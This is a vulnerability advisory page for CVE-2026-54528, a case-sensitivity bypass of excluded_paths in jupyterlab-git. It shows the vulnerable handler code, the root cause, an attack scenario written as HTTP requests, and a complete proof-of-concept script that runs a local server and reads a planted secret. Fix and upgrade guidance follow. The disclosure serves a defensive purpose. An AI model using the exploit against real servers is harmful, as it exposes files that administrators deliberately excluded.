CVE-2026-54528: jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories

Published Jun 19, 2026
·
Updated

Summary

jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlabgit/handlers.py:91) to enforce the admin-configured excludedpaths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.

Vulnerable Code

python jupyterlabgit/handlers.py:84-92 async def prepare(self): """Check if the path should be skipped""" await ensureasync(super().prepare()) path = self.pathkwargs.get("path") if path is not None: excludedpaths = self.git.excludedpaths for excludedpath in excludedpaths: if fnmatch.fnmatchcase(path, excludedpath): # ← always case-sensitive raise tornado.web.HTTPError(404)

Root Cause

fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.

python fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check

On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.

Impact

An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excludedpaths by varying the case of the URL path segment. This grants:

- Read file content at any git ref (/content endpoint) - Read working tree files in the excluded directory - View git status, log, diff on the excluded path - Enumerate commits touching excluded files

Attack Scenario

1. Admin configures c.JupyterLabGit.excludedpaths = ["/project/secrets", "/project/secrets/"] 2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked) 3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass) 4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned

Exploit

See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excludedpaths, and demonstrates bypass + exfiltration via HTTP. python import json, os, shutil, subprocess, sys, tempfile, time import urllib.request, urllib.error

from jupyterlabgit.handlers import GitHandler # real import, no mock from jupyterlabgitcore.git import Git import jupyterlabgitcore

PORT = 18895 TOKEN = "xtoken" BASEURL = f"http://127.0.0.1:{PORT}" SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"

def post(pathseg, endpoint, body=None): url = f"{BASEURL}/git/{pathseg}{endpoint}" data = json.dumps(body or {}).encode() req = urllib.request.Request(url, data=data, method="POST", headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"}) try: resp = urllib.request.urlopen(req, timeout=10) return resp.status, json.loads(resp.read()) except urllib.error.HTTPError as e: return e.code, e.read().decode()

def main(): basedir = tempfile.mkdtemp(prefix="jlgit") workspace = os.path.join(basedir, "workspace") repodir = os.path.join(workspace, "project") secretdir = os.path.join(repodir, "secrets") os.makedirs(secretdir)

with open(os.path.join(secretdir, "cred.txt"), "w") as f: f.write(SECRET + "\n")

gitenv = {os.environ, "GITAUTHORNAME": "a", "GITAUTHOREMAIL": "a@x", "GITCOMMITTERNAME": "a", "GITCOMMITTEREMAIL": "a@x"} subprocess.run(["git", "init"], cwd=repodir, captureoutput=True, check=True) subprocess.run(["git", "add", "."], cwd=repodir, captureoutput=True, check=True) subprocess.run(["git", "commit", "-m", "init"], cwd=repodir, captureoutput=True, check=True, env=gitenv)

configpath = os.path.join(basedir, "jupyterserverconfig.py") with open(configpath, "w") as f: f.write(f'c.ServerApp.rootdir = "{workspace}"\n') f.write(f'c.ServerApp.token = "{TOKEN}"\n') f.write(f'c.ServerApp.openbrowser = False\n') f.write(f'c.ServerApp.port = {PORT}\n') f.write(f'c.ServerApp.ip = "127.0.0.1"\n') f.write(f'c.ServerApp.disablecheckxsrf = True\n') f.write(f'c.JupyterLabGit.excludedpaths = ["/project/secrets", "/project/secrets/"]\n')

env = os.environ.copy() env["JUPYTERCONFIGDIR"] = basedir env["JUPYTERDATADIR"] = basedir proc = subprocess.Popen( [sys.executable, "-m", "jupyterserver", f"--config={configpath}", "--ServerApp.jpserverextensions={'jupyterlabgit': True}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=basedir)

for in range(30): try: req = urllib.request.Request(f"{BASEURL}/api/status", headers={"Authorization": f"token {TOKEN}"}) if urllib.request.urlopen(req, timeout=2).status == 200: break except (urllib.error.URLError, OSError): pass time.sleep(0.5) else: proc.kill() shutil.rmtree(basedir, ignoreerrors=True) sys.exit("server failed to start")

try: # exclusion works code, = post("project/secrets", "/status") blocked = code == 404

# bypass code, = post("project/Secrets", "/status") bypassed = code == 200

# exfiltrate code, body = post("project/Secrets", "/content", {"filename": "./cred.txt", "reference": {"git": "HEAD"}}) content = body.get("content", "") if isinstance(body, dict) else "" exfiltrated = SECRET in content

ok = blocked and bypassed and exfiltrated print(f"exclusion enforced (lowercase): {blocked}") print(f"bypass (case-varied): {bypassed}") print(f"secret exfiltrated: {exfiltrated}") print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}") return ok

finally: proc.terminate() proc.wait(timeout=5) shutil.rmtree(basedir, ignoreerrors=True)

if name == "main": sys.exit(0 if main() else 1)

bash pip install 'jupyterlab-git==0.53.0' python poc.py <img width="686" height="146" alt="image" src="https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625" />

Fix

python if fnmatch.fnmatch(path.lower(), excludedpath.lower()): raise tornado.web.HTTPError(404)

Or apply os.path.normcase() to both operands before comparison.

Other sources

JupyterLab Git is a Git extension for JupyterLab. Prior to 0.54.0, jupyterlab-git uses fnmatch.fnmatchcase() in GitHandler.prepare() in jupyterlabgit/handlers.py to enforce excludedpaths, allowing an authenticated user on a case-insensitive filesystem to vary URL path casing and read excluded directories. This issue is fixed in version 0.54.0.

MITRE

Affected Software

2 affected componentsFixes available
pip/jupyterlab-git<=0.53.0
0.54.0
jupyter jupyterlab-git<0.54.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/jupyterlab-git to a version that resolves this vulnerability.

    Fixed in 0.54.0
  2. Upgrade

    Upgrade jupyterlab-git to a version that resolves this vulnerability.

    Fixed in 0.54.0
  3. Upgrade

    Upgrade jupyterlab-git to a version that resolves this vulnerability.

    Fixed in 0.54.0Patch 0.54.0

Event History

Jun 19, 2026
Advisory Published
via GitHub·07:36 PM
Data Sourced
via GitHub·07:36 PM
DescriptionSeverityWeaknessAffected Software
Jul 8, 2026
CVE Published
via MITRE·09:04 PM
Data Sourced
via MITRE·09:04 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-54528?

The severity of CVE-2026-54528 is rated high with a score of 7.1.

2

What vulnerability does CVE-2026-54528 expose regarding file path security?

CVE-2026-54528 is due to the use of case-sensitive path matching which can bypass admin-configured excluded paths.

3

What versions of jupyterlab-git are affected by CVE-2026-54528?

CVE-2026-54528 affects jupyterlab-git version 0.53.0 and possibly earlier versions.

4

How do I mitigate the risks associated with CVE-2026-54528?

You can mitigate the risks of CVE-2026-54528 by ensuring user access rights and reviewing the configuration of excluded_paths.

5

When was CVE-2026-54528 published?

CVE-2026-54528 was published on June 19, 2026.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203